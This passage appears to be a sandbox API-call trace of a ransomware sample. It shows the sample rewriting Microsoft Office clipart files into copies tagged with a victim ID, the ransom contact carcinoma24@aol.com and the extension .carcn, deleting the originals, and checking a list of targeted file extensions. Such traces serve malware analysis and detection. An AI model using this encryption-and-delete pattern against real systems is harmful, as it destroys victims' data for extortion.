dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0270.223] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0270.223] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0270.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0270.225] GetLastError () returned 0x0 [0270.225] ReadFile (in: hFile=0x54c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x1815, lpOverlapped=0x0) returned 1 [0270.239] WriteFile (in: hFile=0x55c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1820, lpOverlapped=0x0) returned 1 [0270.240] ReadFile (in: hFile=0x54c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0270.240] WriteFile (in: hFile=0x55c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xea, lpOverlapped=0x0) returned 1 [0270.241] SetEndOfFile (hFile=0x55c) returned 1 [0270.241] CloseHandle (hObject=0x55c) returned 1 [0270.241] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0270.241] SetEndOfFile (hFile=0x54c) returned 1 [0270.244] CloseHandle (hObject=0x54c) returned 1 [0270.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0270.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.246] lstrlenW (lpString=".doc") returned 4 [0270.246] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.246] lstrlenW (lpString=".docx") returned 5 [0270.246] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.246] lstrlenW (lpString=".pdf") returned 4 [0270.246] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.246] lstrlenW (lpString=".xls") returned 4 [0270.246] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.246] lstrlenW (lpString=".xlsx") returned 5 [0270.246] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.246] lstrlenW (lpString=".ppt") returned 4 [0270.246] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.247] lstrlenW (lpString=".zip") returned 4 [0270.247] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.247] lstrlenW (lpString=".rar") returned 4 [0270.247] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.247] lstrlenW (lpString=".bz2") returned 4 [0270.247] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.247] lstrlenW (lpString=".7z") returned 3 [0270.247] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.247] lstrlenW (lpString=".dbf") returned 4 [0270.247] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.247] lstrlenW (lpString=".1cd") returned 4 [0270.247] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.248] lstrlenW (lpString=".jpg") returned 4 [0270.248] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.248] lstrlenW (lpString=".doc") returned 4 [0270.248] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.248] lstrlenW (lpString=".docx") returned 5 [0270.248] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.248] lstrlenW (lpString=".pdf") returned 4 [0270.248] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.248] lstrlenW (lpString=".xls") returned 4 [0270.248] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.248] lstrlenW (lpString=".xlsx") returned 5 [0270.248] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.248] lstrlenW (lpString=".ppt") returned 4 [0270.249] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.249] lstrlenW (lpString=".zip") returned 4 [0270.249] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.249] lstrlenW (lpString=".rar") returned 4 [0270.249] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.249] lstrlenW (lpString=".bz2") returned 4 [0270.249] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.249] lstrlenW (lpString=".7z") returned 3 [0270.249] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.249] lstrlenW (lpString=".dbf") returned 4 [0270.249] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.249] lstrlenW (lpString=".1cd") returned 4 [0270.249] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0270.249] lstrlenW (lpString=".jpg") returned 4 [0270.249] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.249] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0270.250] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0270.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0270.275] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10562) returned 1 [0270.275] CloseHandle (hObject=0x524) returned 1 [0270.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0270.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0271.079] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0271.080] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0271.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0271.080] GetLastError () returned 0x0 [0271.080] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2942, lpOverlapped=0x0) returned 1 [0271.165] WriteFile (in: hFile=0x524, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2950, lpOverlapped=0x0) returned 1 [0271.166] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0271.166] WriteFile (in: hFile=0x524, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0271.166] SetEndOfFile (hFile=0x524) returned 1 [0271.166] CloseHandle (hObject=0x524) returned 1 [0271.166] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0271.166] SetEndOfFile (hFile=0x41c) returned 1 [0271.169] CloseHandle (hObject=0x41c) returned 1 [0271.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0271.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.171] lstrlenW (lpString=".doc") returned 4 [0271.171] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.171] lstrlenW (lpString=".docx") returned 5 [0271.171] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.171] lstrlenW (lpString=".pdf") returned 4 [0271.171] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.171] lstrlenW (lpString=".xls") returned 4 [0271.171] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.172] lstrlenW (lpString=".xlsx") returned 5 [0271.172] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.172] lstrlenW (lpString=".ppt") returned 4 [0271.172] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.172] lstrlenW (lpString=".zip") returned 4 [0271.172] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.172] lstrlenW (lpString=".rar") returned 4 [0271.172] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.172] lstrlenW (lpString=".bz2") returned 4 [0271.172] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.172] lstrlenW (lpString=".7z") returned 3 [0271.172] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.172] lstrlenW (lpString=".dbf") returned 4 [0271.172] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.172] lstrlenW (lpString=".1cd") returned 4 [0271.172] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.172] lstrlenW (lpString=".jpg") returned 4 [0271.172] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.172] lstrlenW (lpString=".doc") returned 4 [0271.173] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.173] lstrlenW (lpString=".docx") returned 5 [0271.173] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.173] lstrlenW (lpString=".pdf") returned 4 [0271.173] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.173] lstrlenW (lpString=".xls") returned 4 [0271.173] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.173] lstrlenW (lpString=".xlsx") returned 5 [0271.173] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.173] lstrlenW (lpString=".ppt") returned 4 [0271.173] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.173] lstrlenW (lpString=".zip") returned 4 [0271.173] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.173] lstrlenW (lpString=".rar") returned 4 [0271.173] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.173] lstrlenW (lpString=".bz2") returned 4 [0271.173] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.173] lstrlenW (lpString=".7z") returned 3 [0271.173] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.174] lstrlenW (lpString=".dbf") returned 4 [0271.174] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.174] lstrlenW (lpString=".1cd") returned 4 [0271.174] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0271.174] lstrlenW (lpString=".jpg") returned 4 [0271.174] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.174] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0271.174] lstrlenW (lpString="GRID_01.MID") returned 11 [0271.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0271.175] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6331) returned 1 [0271.175] CloseHandle (hObject=0x41c) returned 1 [0271.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 0x220 [0271.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0271.176] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0271.176] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0271.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0271.177] GetLastError () returned 0x0 [0271.177] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x18bb, lpOverlapped=0x0) returned 1 [0271.249] WriteFile (in: hFile=0x524, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x18c0, lpOverlapped=0x0) returned 1 [0271.261] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0271.261] WriteFile (in: hFile=0x524, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xea, lpOverlapped=0x0) returned 1 [0271.261] SetEndOfFile (hFile=0x524) returned 1 [0271.262] CloseHandle (hObject=0x524) returned 1 [0271.265] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0271.265] SetEndOfFile (hFile=0x41c) returned 1 [0271.277] CloseHandle (hObject=0x41c) returned 1 [0271.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0272.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0272.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.591] lstrlenW (lpString=".doc") returned 4 [0272.591] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.591] lstrlenW (lpString=".docx") returned 5 [0272.591] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.591] lstrlenW (lpString=".pdf") returned 4 [0272.591] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.591] lstrlenW (lpString=".xls") returned 4 [0272.591] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.591] lstrlenW (lpString=".xlsx") returned 5 [0272.591] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.591] lstrlenW (lpString=".ppt") returned 4 [0272.591] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.591] lstrlenW (lpString=".zip") returned 4 [0272.591] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.591] lstrlenW (lpString=".rar") returned 4 [0272.591] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.591] lstrlenW (lpString=".bz2") returned 4 [0272.591] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.591] lstrlenW (lpString=".7z") returned 3 [0272.591] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.592] lstrlenW (lpString=".dbf") returned 4 [0272.592] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.592] lstrlenW (lpString=".1cd") returned 4 [0272.592] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.592] lstrlenW (lpString=".jpg") returned 4 [0272.592] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.592] lstrlenW (lpString=".doc") returned 4 [0272.592] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.592] lstrlenW (lpString=".docx") returned 5 [0272.592] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.592] lstrlenW (lpString=".pdf") returned 4 [0272.592] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.592] lstrlenW (lpString=".xls") returned 4 [0272.592] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.593] lstrlenW (lpString=".xlsx") returned 5 [0272.593] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.593] lstrlenW (lpString=".ppt") returned 4 [0272.593] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.593] lstrlenW (lpString=".zip") returned 4 [0272.593] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.593] lstrlenW (lpString=".rar") returned 4 [0272.593] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.593] lstrlenW (lpString=".bz2") returned 4 [0272.593] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.593] lstrlenW (lpString=".7z") returned 3 [0272.593] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.593] lstrlenW (lpString=".dbf") returned 4 [0272.593] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.593] lstrlenW (lpString=".1cd") returned 4 [0272.593] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0272.593] lstrlenW (lpString=".jpg") returned 4 [0272.593] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.594] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0272.594] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0272.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0272.685] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6644) returned 1 [0272.685] CloseHandle (hObject=0x53c) returned 1 [0272.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0273.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0273.112] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0273.113] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0273.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft 